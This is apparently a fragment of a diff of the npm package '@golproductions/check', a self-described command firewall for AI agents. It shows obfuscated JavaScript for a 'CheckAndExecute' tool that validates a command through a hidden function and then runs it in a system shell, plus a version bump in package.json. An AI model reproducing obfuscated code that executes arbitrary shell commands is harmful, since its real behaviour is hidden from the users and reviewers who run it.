E[a5(0x208,'y2i!')]=[D],E['isError']=!0x0,E;}}),w['tool']('CheckAndExecute',a0V(0x206,'y2i!'),{'command':a0B[a0V(0x1b5,'!S[o')]()['max'](0x2710)['describe'](a0V(0x1ae,'0Bm$'))},async({command:q})=>{const a6=a0V;try{const v=await g(q);if(0x192!==v[a6(0x1f1,'CLQ]')]&&'runnable'!==v[a6(0x1cc,'UlmX')])return{'content':[{'type':a6(0x1cf,'ZSZO'),'text':a6(0x1b3,'S7v&')+(v['reason']||a6(0x18f,'j)IM'))}]};const z={};z[a6(0x1ac,'%ovw')]=0x7530;const {stdout:A,stderr:B}=await a(m?a6(0x21b,'Ti1s'):a6(0x1e1,'y2i!'),m?['/c',q]:['-c',q],z),C={};C[a6(0x186,'1S#h')]=a6(0x214,'8mYF'),C['text']=(A||'')+(B?a6(0x212,'vHJR')+B:'')||a6(0x20e,'CLQ]');const D={};return D[a6(0x1ed,'p@KX')]=[C],D;}catch(E){return E[a6(0x18a,'C@9r')]||E[a6(0x176,'vHJR')]?{'content':[{'type':'text','text':'Exit\x20'+(E[a6(0x1d8,'UlmX')]||0x1)+':\x0a'+((E[a6(0x1be,'1S#h')]||'')+(E[a6(0x1a1,'Ti1s')]?'\x0aSTDERR:\x20'+E['stderr']:''))}]}:{'content':[{'type':a6(0x1c5,'ek&b'),'text':a6(0x1e3,'Ev1L')+E['message']}],'isError':!0x0};}});const x=new a0A();await w[a0V(0x1f0,'%ovw')](x);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@golproductions/check",
|
|
3
|
-
"version": "3.3.
|
|
3
|
+
"version": "3.3.9",
|
|
4
4
|
"description": "Less hallucinations. A command firewall for AI agents: validates every shell command before execution, so fabricated commands are denied before they run.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"check": "dist/index.js",
|